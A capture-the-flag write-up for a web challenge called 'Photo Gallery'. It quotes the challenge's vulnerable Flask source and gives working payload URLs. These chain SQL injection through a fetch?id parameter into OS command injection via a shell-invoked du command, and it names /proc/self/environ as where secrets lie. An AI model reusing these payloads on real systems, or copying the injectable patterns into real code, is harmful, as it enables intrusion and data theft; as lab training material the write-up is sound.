Photo Gallery
Flag0
-
"Magical Image Gallery"

The images are fetched by using
idparameters as such:http://34.74.105.127/9c4252a0af/fetch?id=1When sending a GET request directly, the server doesn't render the URL as an image but as raw format. From past CTF experiences, this is usually a case of extracting a system file to obtain the flag.
After roaming around the web application and performing basic enumeration tests, there wasn't other obvious possible footholds. Therefore my assumption is a SQL injection attack is most likely a possibility.
-
Revealing Flag0 hints the web application is running uwsgi-nginx-flask-docker image. After reviewing the repository, I can only assume that I'm suppose to read a file using SQL injection now that we know what framework is being used.
With every docker image, there is always a
Dockerfilethat is included. After trial and error, aunion selectmethod was used to retrieve theDockerfile.http://34.74.105.127/9c4252a0af/fetch?id=4%20union%20select%20%27Dockerfile%27Output:
FROM tiangolo/uwsgi-nginx-flask:python2.7 WORKDIR /app RUN apt-get update RUN DEBIAN_FRONTEND=noninteractive apt-get install -y mysql-client mysql-server default-libmysqlclient-dev build-essential ADD requirements.txt /app/ RUN pip install --trusted-host pypi.python.org -r requirements.txt ADD . /appThe output looks similar to the
Dockerfileincluded in the repository with the exception two things:- Installation of dependencies using
aptandpip. - Working directory is located in
/app
Going through the enumeration phase again, I checked out what is inside
requirements.txt.Flask mysqlclient pycryptoNothing interesting is found. Looking back into the Github repository, there was an
/appdirectory that containsmain.py,prestart.sh, anduwsgi.ini. After probing the three files, themain.pycontains Flag0.
- Installation of dependencies using
Flag1
-
Now that we can see the source code, a review is performed.
from flask import Flask, abort, redirect, request, Response import base64, json, MySQLdb, os, re, subprocess app = Flask(__name__) home = ''' <!doctype html> <html> <head> <title>Magical Image Gallery</title> </head> <body> <h1>Magical Image Gallery</h1> $ALBUMS$ </body> </html> ''' viewAlbum = ''' <!doctype html> <html> <head> <title>$TITLE$ -- Magical Image Gallery</title> </head> <body> <h1>$TITLE$</h1> $GALLERY$ </body> </html> ''' def getDb(): return MySQLdb.connect(host="localhost", user="root", password="", db="level5") def sanitize(data): return data.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"') @app.route('/') def index(): cur = getDb().cursor() cur.execute('SELECT id, title FROM albums') albums = list(cur.fetchall()) rep = '' for id, title in albums: rep += '<h2>%s</h2>\n' % sanitize(title) rep += '<div>' cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, )) fns = [] for pid, ptitle, pfn in cur.fetchall(): rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle)) fns.append(pfn) rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>' rep += '</div>\n' return home.replace('$ALBUMS$', rep) @app.route('/fetch') def fetch(): cur = getDb().cursor() if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0: abort(404) # It's dangerous to go alone, take this: # ^FLAG^XXXXXX$FLAG$ return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read() if __name__ == "__main__": app.run(host='0.0.0.0', port=80) -
This part of the code stood out as dangerous:
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'The "spaced used" is displayed using
du -chwith a supplied user input from%s. This bad coding practice is susceptible to OS command line injection. Even though a part of the code does have an input sanitization function in place, it doesn't sanitize for semi-colon which is commonly used for injection type attacks.To exploit the vulnerability, the
idparameter needs to be escaped using a semi-colon to close the SQL statement and inject anupdatestatement.http://34.74.105.127/9c4252a0af/fetch?id=1; update photos set filename="whoami" where id=1; commit
As you can see, the command did execute and parsed on the web page but for some reason the command is showing a try exception. After trial and error, the
du -ch %sneeds to be escaped as well using semi-colon for the OS command to execute.http://34.74.105.127/9c4252a0af/fetch?id=1; update photos set filename=";whoami" where id=1; commitIn the real world, this evidence is enough to submit a bug bounty report but because this is a CTF so we need to find the second flag. Additional hints reveal something about being aware of the environment. After digging around what this means, the final two flags can be found in
/proc/self/environ.